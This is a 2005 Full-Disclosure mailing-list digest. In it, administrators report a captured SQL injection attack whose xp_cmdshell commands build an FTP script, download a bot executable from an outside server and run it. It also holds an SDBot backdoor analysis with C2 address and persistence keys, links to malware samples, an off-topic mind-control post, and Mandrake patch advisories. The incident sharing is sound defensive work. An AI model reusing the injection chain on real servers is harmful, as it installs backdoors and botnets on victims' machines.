Message-ID: <20050119210525.0B9EE7A88F5@ws4-4.us4.outblaze.com>

LOL!

--
  kin 186: White Self-Existing World-Bridger 
  ------------------------------------------
  I Define in order to Equalize
  Measuring Opportunity
  I seal the Store of Death
  With the Self-Existing tone of Form
  I am guided by the power of Spirit
-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze



From tmyers at coactivesys.com  Wed Jan 19 21:24:58 2005
From: tmyers at coactivesys.com (Tim Myers)
Date: Wed, 19 Jan 2005 16:24:58 -0500
Subject: FW: [Full-Disclosure] Re: [Dshield] SQL injection worm ?
Message-ID: <0165C1691D16E74FB824E403E47790CD20C5A4@MINASTIRITH.hobbiton.com>


Maxime,

Here is the information I've gathered on lol.exe. Hope this helps you out or anyone else that has this worm. Let me know if you need anything else. 

Tim Myers


FILE INFORMATION:
The file consists of SDBot which is a Win32 Backdoor.
Packed/Encrypted with Morphine 1.2
The trojan connects to IRC Server - 170.211.69.66:6667 Where it will wait for commands.
Drops msgfix.exe into the \windows\system32 directory and adds itself to startup via HKLM\..\..\run

IP INFORMATION:
	[170.211.69.66]
OrgName:    Arkansas Public School Computer Network 
OrgID:      APSCN
Address:    #4 State Capitol Mall, Room 401A
City:       Little Rock
StateProv:  AR
PostalCode: 72201-1071
Country:    US

NetRange:   170.211.0.0 - 170.211.255.255 
CIDR:       170.211.0.0/16 
NetName:    APSCN-1
NetHandle:  NET-170-211-0-0-1
Parent:     NET-170-0-0-0-0
NetType:    Direct Assignment
NameServer: DNS3.STATE.AR.US
NameServer: DNS1.STATE.AR.US
Comment:    
RegDate:    1995-01-30
Updated:    2000-02-08

TechHandle: ZS25-ARIN
TechName:   State of Arkansas 
TechPhone:  +1-501-682-0500
TechEmail:  hostmaster at dcs.state.ar.us 



SDBOT INFORMATION:
Backdoor.Sdbot is a server component (bot) that the Trojan's creator distributes over IRC channels. This Trojan horse allows its creator to perform a wide variety of actions on a compromised computer.

The Trojan arrives in the form of a Portable Executable (PE) file. 

When Backdoor.Sdbot is executed, it does the following:


Copies itself to the %System% folder. The file name to which it copies itself can vary. Some known file names are: 
Cnfgldr.exe
cthelp.exe
Sysmon16.exe
Sys3f2.exe
Syscfg32.exe
Mssql.exe
Aim95.exe
Svchosts.exe
FB_PNU.EXE
Cmd32.exe
Sys32.exe
Explorer.exe
IEXPL0RE.EXE
iexplore.exe
sock32.exe
MSTasks.exe
service.exe
Regrun.exe
ipcl32.exe
syswin32.exe
CMagesta.exe
YahooMsgr.exe
vcvw.exe
spooler.exe
MSsrvs32.exe
svhost.exe
winupdate32.exe
quicktimeprom.exe


NOTE: %System% is a variable. The Trojan locates the \Windows\System folder (by default, this is C:\Windows\System or C:\Winnt\System32), and then copies itself to that location. 


Adds one of the following values:

"Configuration Manager"="Cnfgldr.exe"
"System Monitor"="Sysmon16.exe"
"MSSQL"="Mssql.exe"
"Configuration Loader" = "aim95.exe"
"Internet Config" = "svchosts.exe"
"System33" = "%System%\FB_PNU.EXE"
"Configuration Loader"="cmd32.exe"
"Windows Explorer"="Explorer.exe"
"Configuration Loader"="IEXPL0RE.EXE"
"Configuration Loader"="%System%\iexplore.exe"
"Sock32"="sock32.exe"
"Configuration Loader"="MSTasks.exe"
"Windows Services"="service.exe"
"Registry Checker" = "%System%\Regrun.exe"
"Internet Protocol Configuration Loader" = "ipcl32.exe "syswin32" = "syswin32.exe"
"MachineTest" = "CMagesta.exe"
"Yahoo Instant Messenger" = "Yahoo Instant Messenger"
"Fixnice" = "vcvw.exe"
"Windows Configuration" = "spooler.exe"
"Microsoft Video Capture Controls" = "MSsrvs32.exe"
"Microsoft Synchronization Manager" = "svhost.exe"
"Microsoft Synchronization Manager" = "winupdate32.exe"
"Quick Time file manager" = "quicktimeprom.exe"
"cthelp"="cthelp.exe"

or a similar value to the following registry keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Backdoor.Sdbot contains its own IRC client, allowing it to connect to an IRC channel that was coded into the Trojan. Using the IRC channel, the Trojan listens for the commands from the Trojan's creator. The creator of the Trojan accesses the Trojan by using a password-protected authorization. 

The commands allow the Trojan's creator to perform any of the following actions: 
Manage the Backdoor installation. 
Control the IRC client on a compromised computer. 
Dynamically update the installed Trojan. 
Send the Trojan to other IRC channels to attempt to compromise more computers. 
Download and execute files. 
Deliver system and network information to the Trojan's creator. 
Perform Denial of Service (DoS) attacks against a target, which the Trojan's creator defines. 
Completely uninstall itself by removing the relevant registry entries.









-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Maxime Ducharme
Sent: Wednesday, January 19, 2005 2:13 PM
To: full-disclosure at lists.netsys.com; General DShield Discussion List; incidents at securityfocus.com
Subject: [Full-Disclosure] Re: [Dshield] SQL injection worm ?


Hi to the List

today we received the same SQL injection attack on the same URL :

IP : 24.1.139.29
(c-24-1-139-29.client.comcast.net)
User Agent : none sent
HTTP Verb : GET /theasppage.asp?anID=
Attack :
377';exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >> %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >> %systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get lol.exe %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'%systemroot%\system32\Macromed\lolx\arcdlrde.exe'--

The lol.exe file can be found in this archive for inspection :
http://www.cybergeneration.com/security/2005.01.19/lol.zip
zip pass is das978tewa234

Norton with definitions of 12 jan. doesnt find anything suspicious.

I'm interested if someone do an analysis on this file.

Have a nice day

Maxime Ducharme
Programmeur / Sp?cialiste en s?curit? r?seau


----- Original Message -----
From: "Maxime Ducharme" <mducharme at cybergeneration.com>
To: <full-disclosure at lists.netsys.com>; "General DShield Discussion List"
<list at lists.dshield.org>; <incidents at securityfocus.com>
Sent: Wednesday, January 05, 2005 12:22 PM
Subject: [Dshield] SQL injection worm ?


>
> Hi list,
>     we receveid a particular SQL injection attack on one of our site.
>
> Attack looks like :
> 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET 
> /Nouvelles.asp
>
id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68
>
%65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7
>
8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op
> en%20y.y.y.y%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed%
>
5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%
>
68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25%
>
5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..
>
%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2
>
5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C
>
system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7
>
8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5
>
Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%
>
78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo
>
t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45
>
%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32%
>
5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6
>
3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car
>
cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin
> e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1 
> attacked.web.site.com - - -
>
> HTTP request contains only 2 fields (beside HTTP method) :
> Connection: Keep-Alive
> Host: attacked.web.site.com
>
> (I obviously replaced the name of the site).
>
> Decoded SQL injection looks like :
> exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
> exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >> 
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >> 
> %systemroot%\system32\macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo get rBot.exe 
> %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> 
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo quit >> 
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell
> 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'del
%systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 
> '%systemroot%\system32\Macromed\lolx\arcdlrde.exe
>
> y.y.y.y is a foreign IP in Europe which host FTP an WWW server.
> I sent a notice this this site sysadmin about the situation.
>
> I have been able to connect to this FTP with the account 
> hahajk/hahaowned (which do not seem legit to me ...) and download suspicious files.
> I mirrored them here :
> http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip
> zip pass is 968goyw439807r3qw
>
> 24.164.202.24 is on rr.com networks, they have also been advised.
>
> I know rbot.exe is known to be Randex worm, but i'd like that have 
> some other results / analysis.
>
> I also found a "test.asp" file which contains the Spybot worm.
>
> Weird thing is, I searched for this hosts's activity on every server 
> and every firewall we run, and I only see 1 TCP connection which is 
> the prepared SQL injections attack, nothing else.
>
> Anybody see similar activity ?
>
> I'm asking since I want to know if we are targeted by someone of by a 
> worm like Santy of use search engines to find vulnerable ASP scripts.
>
> Thanks in advance
>
> Happy new year to everyone !
>
> Maxime Ducharme
> Programmeur / Sp?cialiste en s?curit? r?seau
>
>
>
> -------------- Sponsor Message ------------------------------------
> SANS Intrusion Immersion Training: Orlando, FL, February 3-9th
> http://www.sans.org/orlando05
>
> _______________________________________________
> send all posts to list at lists.dshield.org To change your subscription 
> options (or unsubscribe), see:
http://www.dshield.org/mailman/listinfo/list
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From sil at infiltrated.net  Wed Jan 19 21:34:54 2005
From: sil at infiltrated.net (J. Oquendo)
Date: Wed, 19 Jan 2005 16:34:54 -0500 (EST)
Subject: [Full-Disclosure] Re: Illegal mind control... etc
Message-ID: <Pine.GSO.4.58.0501191630210.8602@kungfunix.net>


> LOL!
>

While this entire thread is extremely off topic, in fact a huge portion of
everything I've read on this list seems to be just that, off topic, I
would like to add some information regarding so called mind control via
way of the government. This is not conspiratorial for this who want to
misconstrue that very word and resend it, it is mere fact based on
patented information and products.

///

United States Patent  	 5,159,703
Lowery 	October 27, 1992
Silent subliminal presentation system

Abstract

A silent communications system in which nonaural carriers, in the very low
or very high audio frequency range or in the adjacent ultrasonic frequency
spectrum, are amplitude or frequency modulated with the desired
intelligence and propagated acoustically or vibrationally, for inducement
into the brain, typically through the use of loudspeakers, earphones or
piezoelectric transducers. The modulated carriers may be transmitted
directly in real time or may be conveniently recorded and stored on
mechanical, magnetic or optical media for delayed or repeated transmission
to the listener.

Inventors: 	Lowery; Oliver M. (5188 Falconwood Ct., Norcross, GA
30071)
Appl. No.: 	458339
Filed: 	December 28, 1989

U.S. Class: 	455/42; 455/46; 455/66; 381/73.1; 128/420.5
Intern'l Class: 	H04B 007/00; H04R 025/00; H04R 003/02
Field of Search: 	455/46,47,66,109,110,42-43 381/73.1,105,124
358/141-143 600/28 128/420.5 380/38
References Cited [Referenced By]
U.S. Patent Documents
3060795	Oct., 1962	Corrigan et al.	352/131.
3278676	Oct., 1966	Becker	358/142.
3393279	Jul., 1968	Flanagan	128/420.
3712292	Jan., 1973	Zentmeyer, Jr.	600/28.
4141344	Feb., 1979	Barbara	600/28.
4395600	Jul., 1983	Lundy et al.	381/73.
4463392	Jul., 1984	Fischer et al.	360/30.
4777529	Oct., 1988	Schultz et al.	381/73.
4834701	May., 1989	Masaki	600/28.
4877027	Oct., 1989	Brunkan	128/420.

Primary Examiner: Eisenzopf; Reinhard J.
Assistant Examiner: Faile; Andrew
///

More information on this can be Googled, validated at USPTO.gov or you can
check out what I have archived from abroad at
http://www.infiltrated.net/silentsound/

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
GPG Key ID 0x51F9D78D
Fingerprint 2A48 BA18 1851 4C99

CA22 0619 DB63 F2F7 51F9 D78D
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D

sil @ politrix . org    http://www.politrix.org
sil @ infiltrated . net http://www.infiltrated.net

"How a man plays the game shows something of his
character - how he loses shows all" - Mr. Luckey


From security at linux-mandrake.com  Wed Jan 19 22:04:48 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Wed, 19 Jan 2005 15:04:48 -0700
Subject: [Full-Disclosure] MDKSA-2005:009 - Updated mpg123 packages fix
	vulnerability
Message-ID: <E1CrNwW-0006WY-TW@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           mpg123
 Advisory ID:            MDKSA-2005:009
 Date:                   January 19th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 A vulnerability in mpg123's ability to parse frame headers in input
 streams could allow a malicious file to exploit a buffer overflow and
 execute arbitray code with the permissions of the user running mpg123.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0991
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 c6853d42d98e62393a7f819a2ffe3356  10.0/RPMS/mpg123-0.59r-22.2.100mdk.i586.rpm
 a23d6bfb05fa6ac27067bc31428092eb  10.0/SRPMS/mpg123-0.59r-22.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 4ee7ef6a8d53837780ed7f2b03839673  amd64/10.0/RPMS/mpg123-0.59r-22.2.100mdk.amd64.rpm
 a23d6bfb05fa6ac27067bc31428092eb  amd64/10.0/SRPMS/mpg123-0.59r-22.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 3f9c35756148f51b279631123545b75b  10.1/RPMS/mpg123-0.59r-22.2.101mdk.i586.rpm
 4cf62de0ff365cd0e74c417f84b7730e  10.1/SRPMS/mpg123-0.59r-22.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ee70a13d4ccfcf5f8fbd9ed778186647  x86_64/10.1/RPMS/mpg123-0.59r-22.2.101mdk.x86_64.rpm
 4cf62de0ff365cd0e74c417f84b7730e  x86_64/10.1/SRPMS/mpg123-0.59r-22.2.101mdk.src.rpm

 Corporate Server 2.1:
 b68e025bfc40ff120c63d77bed97270b  corporate/2.1/RPMS/mpg123-0.59r-21.3.C21mdk.i586.rpm
 437ddd9bda9615417690f737e9722990  corporate/2.1/SRPMS/mpg123-0.59r-21.3.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 deb362353f3912ed0154847947c45543  x86_64/corporate/2.1/RPMS/mpg123-0.59r-21.3.C21mdk.x86_64.rpm
 437ddd9bda9615417690f737e9722990  x86_64/corporate/2.1/SRPMS/mpg123-0.59r-21.3.C21mdk.src.rpm

 Corporate Server 3.0:
 2d5fd7533161e466ba3f3b1307be77d1  corporate/3.0/RPMS/mpg123-0.59r-22.2.C30mdk.i586.rpm
 7aab2dce78c90489c8da66e715b61bf5  corporate/3.0/SRPMS/mpg123-0.59r-22.2.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB7tmAmqjQ0CJFipgRAuEqAKDFKx1MuA+ZM0+8jl5WaT2PE05iegCgrkKA
9Yf7Vi5oqoFrUwp9Ap2LzEg=
=Uamp
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 19 22:07:35 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Wed, 19 Jan 2005 15:07:35 -0700
Subject: [Full-Disclosure] MDKSA-2005:010 - Updated playmidi packages fix
	buffer overflow vulnerability
Message-ID: <E1CrNzD-0006hj-1R@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           playmidi
 Advisory ID:            MDKSA-2005:010
 Date:                   January 19th, 2005

 Affected versions:	 10.0, 10.1, Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 Erik Sjolund discovered a buffer overflow in playmidi that could be
 exploited by a local attacker if installed setuid root.  Note that by
 default Mandrakelinux does not ship playmidi installed setuid root.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0020
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 11b39014c3c354c549f4b510d0e59ad5  10.0/RPMS/playmidi-2.5-3.1.100mdk.i586.rpm
 930ad98832bc68b4f2d97cde16fbb589  10.0/RPMS/playmidi-X11-2.5-3.1.100mdk.i586.rpm
 ac2bef9ddcba160bf52f9a883c759fdf  10.0/SRPMS/playmidi-2.5-3.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 629089b1281e17784bd3fc4d69d8424a  amd64/10.0/RPMS/playmidi-2.5-3.1.100mdk.amd64.rpm
 d8cf76271cfab47e597090400c32ca4a  amd64/10.0/RPMS/playmidi-X11-2.5-3.1.100mdk.amd64.rpm
 ac2bef9ddcba160bf52f9a883c759fdf  amd64/10.0/SRPMS/playmidi-2.5-3.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 1be61eeb85b0c916771fc5a834691835  10.1/RPMS/playmidi-2.5-3.1.101mdk.i586.rpm
 e43429abba5378ab18d5d8cb1b61c345  10.1/RPMS/playmidi-X11-2.5-3.1.101mdk.i586.rpm
 c1958aeb4fe6a620b43c90581c5cbef8  10.1/SRPMS/playmidi-2.5-3.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 acbe49ee3b86227a0757cd8ebf7b1d08  x86_64/10.1/RPMS/playmidi-2.5-3.1.101mdk.x86_64.rpm
 3f1bd829359d1d5b26d879ca3ed20c8b  x86_64/10.1/RPMS/playmidi-X11-2.5-3.1.101mdk.x86_64.rpm
 c1958aeb4fe6a620b43c90581c5cbef8  x86_64/10.1/SRPMS/playmidi-2.5-3.1.101mdk.src.rpm

 Corporate Server 3.0:
 ee62926bf969895976b99bafb79d12a6  corporate/3.0/RPMS/playmidi-2.5-3.1.C30mdk.i586.rpm
 983da3f98fd776bdeb484ce6228e8a8d  corporate/3.0/RPMS/playmidi-X11-2.5-3.1.C30mdk.i586.rpm
 70a3be81e9afce9341faf9ce61e7e60a  corporate/3.0/SRPMS/playmidi-2.5-3.1.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB7tommqjQ0CJFipgRAoB5AKDsUDE/2fU6ZBO1B3cRNmFixIj5agCgiJEu
7hQjmvJKEWuufOC/JE6Z4uA=
=07V0
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Wed Jan 19 22:10:38 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Wed, 19 Jan 2005 15:10:38 -0700
Subject: [Full-Disclosure] MDKSA-2005:011 - Updated xine packages fix
	multiple vulnerabilities
Message-ID: <E1CrO2A-0006sP-Nj@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           xine-lib
 Advisory ID:            MDKSA-2005:011
 Date:                   January 19th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 iDefense discovered that the PNA_TAG handling code in pnm_get_chunk()
 does not check if the input size is larger than the buffer size
 (CAN-2004-1187).  As well, they discovered that in this same function,
 a negative value could be given to an unsigned variable that specifies
 the read length of input data (CAN-2004-1188).
 
 Ariel Berkman discovered that xine-lib reads specific input data into
 an array without checking the input size making it vulnerable to a
 buffer overflow problem (CAN-2004-1300).
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1187
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1188
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1300
  http://xinehq.de/index.php/security/XSA-2004-6
  http://xinehq.de/index.php/security/XSA-2004-7
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 04cf16b28902e4591e11ae72fd87d662  10.0/RPMS/libxine1-1-0.rc3.6.3.100mdk.i586.rpm
 b4229121fb5e1c2e8e3150fb770d20b1  10.0/RPMS/libxine1-devel-1-0.rc3.6.3.100mdk.i586.rpm
 dedf902f1106a5d2962169e0d384484b  10.0/RPMS/xine-aa-1-0.rc3.6.3.100mdk.i586.rpm
 0e794be9dcbe0d7df7ac7023f90b9ce7  10.0/RPMS/xine-arts-1-0.rc3.6.3.100mdk.i586.rpm
 e2129af73ff087513cf3e206b6243a22  10.0/RPMS/xine-dxr3-1-0.rc3.6.3.100mdk.i586.rpm
 465023e0d347cc68e50cd18e7e035d7f  10.0/RPMS/xine-esd-1-0.rc3.6.3.100mdk.i586.rpm
 3aba7156985636b52cf388ee65efa61a  10.0/RPMS/xine-flac-1-0.rc3.6.3.100mdk.i586.rpm
 442d828c5c5c477fb4056eec27ac99ac  10.0/RPMS/xine-gnomevfs-1-0.rc3.6.3.100mdk.i586.rpm
 73e2c9d0af08f7af594897963ad2acee  10.0/RPMS/xine-plugins-1-0.rc3.6.3.100mdk.i586.rpm
 987634217ee50058b309ce153c0d71cd  10.0/SRPMS/xine-lib-1-0.rc3.6.3.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 66d763149801966fb38c9a07666eced3  amd64/10.0/RPMS/lib64xine1-1-0.rc3.6.3.100mdk.amd64.rpm
 486eaa41ea24dc895ab68a7221efa641  amd64/10.0/RPMS/lib64xine1-devel-1-0.rc3.6.3.100mdk.amd64.rpm
 5b454fdc3cc84ce2bd9aa8d4495971af  amd64/10.0/RPMS/xine-aa-1-0.rc3.6.3.100mdk.amd64.rpm
 f8a5ce8ccdb495f23c879a58dc4a005b  amd64/10.0/RPMS/xine-arts-1-0.rc3.6.3.100mdk.amd64.rpm
 aa3a3a29c478a444bbcb4fe7f48d217c  amd64/10.0/RPMS/xine-esd-1-0.rc3.6.3.100mdk.amd64.rpm
 051f953d91864f0609d55d9f5d13c545  amd64/10.0/RPMS/xine-flac-1-0.rc3.6.3.100mdk.amd64.rpm
 7288d9764ff125053834cc3cbc56618b  amd64/10.0/RPMS/xine-gnomevfs-1-0.rc3.6.3.100mdk.amd64.rpm
 8c11dd4c0453b8236494df5e177985b0  amd64/10.0/RPMS/xine-plugins-1-0.rc3.6.3.100mdk.amd64.rpm
 987634217ee50058b309ce153c0d71cd  amd64/10.0/SRPMS/xine-lib-1-0.rc3.6.3.100mdk.src.rpm

 Mandrakelinux 10.1:
 dc10ced310a94ac2b1cdaa26d5065309  10.1/RPMS/libxine1-1-0.rc5.9.1.101mdk.i586.rpm
 2ff06644e8ba40de686faea2870be099  10.1/RPMS/libxine1-devel-1-0.rc5.9.1.101mdk.i586.rpm
 dab77c7bb2d958fb34fd07dd525b7026  10.1/RPMS/xine-aa-1-0.rc5.9.1.101mdk.i586.rpm
 c0daf0f0835a0831251e725edb491d98  10.1/RPMS/xine-arts-1-0.rc5.9.1.101mdk.i586.rpm
 a9d901fa51bd439c5e6b54fb799afcde  10.1/RPMS/xine-dxr3-1-0.rc5.9.1.101mdk.i586.rpm
 6e2e9ac54916eb1409347968bddc0903  10.1/RPMS/xine-esd-1-0.rc5.9.1.101mdk.i586.rpm
 954f717131a3079ea5dff56ab3a20a8e  10.1/RPMS/xine-flac-1-0.rc5.9.1.101mdk.i586.rpm
 72a82036a27f6bed29412b81417603eb  10.1/RPMS/xine-gnomevfs-1-0.rc5.9.1.101mdk.i586.rpm
 a76f9f553c97aa55fe4849225d7921a2  10.1/RPMS/xine-plugins-1-0.rc5.9.1.101mdk.i586.rpm
 dab247b679d8cb6f7bdf06b71d5e54b8  10.1/SRPMS/xine-lib-1-0.rc5.9.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 5cfbd8787d4c8e0207437f048d5994a4  x86_64/10.1/RPMS/lib64xine1-1-0.rc5.9.1.101mdk.x86_64.rpm
 8a4b9b26b8b58fd29477a6b260bd79c6  x86_64/10.1/RPMS/lib64xine1-devel-1-0.rc5.9.1.101mdk.x86_64.rpm
 c2bc72cfbfe95f18a6ae0b18b98807c8  x86_64/10.1/RPMS/xine-aa-1-0.rc5.9.1.101mdk.x86_64.rpm
 7f059dfbc7e445a255510c9a5a7338b7  x86_64/10.1/RPMS/xine-arts-1-0.rc5.9.1.101mdk.x86_64.rpm
 53b293f453695e7104a1ae593f79608a  x86_64/10.1/RPMS/xine-dxr3-1-0.rc5.9.1.101mdk.x86_64.rpm
 6efb0ca6be7650e60961e13f479b117a  x86_64/10.1/RPMS/xine-esd-1-0.rc5.9.1.101mdk.x86_64.rpm
 4caa5c113d95773e4ca462b69bb17e76  x86_64/10.1/RPMS/xine-flac-1-0.rc5.9.1.101mdk.x86_64.rpm
 ba0f5f739785622cac85034055fa7304  x86_64/10.1/RPMS/xine-gnomevfs-1-0.rc5.9.1.101mdk.x86_64.rpm
 d3c1a9cca1ae3800d72f82486b26f0e1  x86_64/10.1/RPMS/xine-plugins-1-0.rc5.9.1.101mdk.x86_64.rpm
 dab247b679d8cb6f7bdf06b71d5e54b8  x86_64/10.1/SRPMS/xine-lib-1-0.rc5.9.1.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB7tremqjQ0CJFipgRAr0HAJ97WOzp9JCz/lQhgCvOi2yyRojHcACeOw+A
7Tq28VFsghjETZ2Mu2DVTLM=
=awHr
-----END PGP SIGNATURE-----


From chromazine at sbcglobal.net  Wed Jan 19 23:42:15 2005
From: chromazine at sbcglobal.net (Steve Kudlak)
Date: Wed, 19 Jan 2005 15:42:15 -0800
Subject: [Full-Disclosure] Illegal mind control rtrc.
In-Reply-To: <200501182121.j0ILLp8X006146@turing-police.cc.vt.edu>
